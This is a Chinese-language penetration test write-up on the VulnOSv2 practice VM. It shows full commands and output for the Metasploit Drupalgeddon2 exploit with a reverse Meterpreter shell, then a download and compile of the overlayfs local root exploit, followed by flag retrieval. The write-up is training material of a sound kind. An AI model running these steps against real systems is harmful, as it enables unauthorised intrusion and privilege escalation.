WP3
VulnOSv2 渗透测试报告
1. 测试概述
项目 内容
测试目标 VulnOSv2 靶机
靶机IP 192.168.193.141
攻击机IP 192.168.193.128 (Kali Linux)
测试日期 2026-07-30
测试人员 王田彬
测试结果 成功获取root权限
2. 信息收集
2.1 端口扫描

使用 nmap 对目标进行全端口扫描:

bash
nmap -p- 192.168.193.141
扫描结果:
端口 服务 版本
22/tcp SSH OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6
80/tcp HTTP Apache httpd
6667/tcp IRC ngIRCd-21
2.2 Web服务探测
访问 HTTP 服务(端口80):
页面标题为 "VulnOSv2"

页面中包含一个指向 /jabc 目录的链接

提示信息:"Pentest the company website on the server... Get root of the system and read the final flag"
2.3 目录扫描
对 /jabc 目录进行扫描:
bash
gobuster dir -u http://192.168.193.141/jabc/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 20
识别CMS:
访问 /jabc/ 目录后,从页面源码中发现:

html
<meta name="Generator" content="Drupal 7 (http://drupal.org)" />
确认目标运行 Drupal 7 内容管理系统。
3. 漏洞利用
3.1 漏洞识别
根据 Drupal 7 版本信息,判断存在 Drupalgeddon2 远程代码执行漏洞(CVE-2018-7600)。
该漏洞允许未经认证的攻击者在 Drupal 系统上执行任意 PHP 代码,从而获取服务器权限。
3.2 利用过程
使用 Metasploit Framework 进行漏洞利用:
bash
msfconsole
配置参数:
bash
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.193.141
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /jabc/
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.193.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
执行结果:
text
[*] Started reverse TCP handler on 192.168.193.128:4444
[*] Sending stage (45739 bytes) to 192.168.193.141
[*] Meterpreter session 1 opened (192.168.193.128:4444 -> 192.168.193.141:55595)
成功获取 Meterpreter Shell!
3.3 初始Shell信息
bash
meterpreter > pwd
/var/www/html/jabc
meterpreter > shell
Process 2603 created.
进入系统Shell后确认当前用户:
bash
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
当前权限为 www-data(Web服务用户),权限受限。

4. 提权
4.1 系统信息收集
bash
uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 athlon i686 GNU/Linux
cat /etc/issue
Ubuntu 14.04.4 LTS
系统指纹:
项目 信息
操作系统 Ubuntu 14.04.4 LTS
内核版本 3.13.0-24-generic
架构 i686

4.2 SUID文件检查
bash
find / -perm -4000 -type f 2>/dev/null
发现多个SUID文件,但最终确定使用 overlayfs 漏洞进行提权。
4.3 漏洞选择
根据系统版本(Ubuntu 14.04.4 + 内核 3.13.0),选择 overlayfs 本地提权漏洞(CVE-2015-1328)。
4.4 提权执行
下载漏洞利用代码:
bash
wget https://www.exploit-db.com/raw/37292 -O /tmp/37292.c
编译漏洞利用程序:
bash
gcc /tmp/37292.c -o /tmp/overlayfs_exploit -lutil
执行提权:
bash
/tmp/overlayfs_exploit
执行结果:
text
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
#
提示符变为 #,确认已成功提权至 root。

4.5 验证root权限
bash
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
5. 获取Flag
5.1 查找Flag文件
bash
# find / -name "*flag*" -type f 2>/dev/null
/root/flag.txt

5.2 读取Flag
bash
# cd /root
# ls -la
-rw-r--r-- 1 root root 165 May 4 2016 flag.txt
# cat flag.txt
Flag内容:

text
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.
What do you think of A.I.?
岔路
这里想用SSH连,但半天爆破不出




浙公网安备 33010602011771号